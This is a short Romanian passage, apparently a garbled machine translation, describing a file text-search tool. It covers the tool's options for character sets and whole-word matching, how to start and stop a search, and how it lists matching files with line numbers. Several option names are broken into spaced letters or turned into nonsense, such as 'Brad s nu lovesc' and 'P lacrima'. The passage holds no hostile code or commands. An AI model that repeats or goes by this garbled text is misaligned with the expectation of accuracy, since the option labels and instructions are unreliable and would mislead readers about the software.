  • "A l l seturi de caractere" ( Soare e codificări)
  • « W cuvinte grozave" ( CU captură întreagă)
  • "Brad s nu lovesc" ( Până la primul în X naștere)

Începeți căutarea " O k" ( D alshe), opriți-vă cu „ C ansel" ( P lacrima).

După ce programul rulează toate fișierele, le va afișa ca o listă de directoare în care există fișiere cu potriviri + fișierele în sine cu numere de rând în care au fost găsite potriviri cu fraza căutată.

În general, un program mega-convenient atunci când cauți ceva ce știi, dar nu știi unde să cauți exact. :)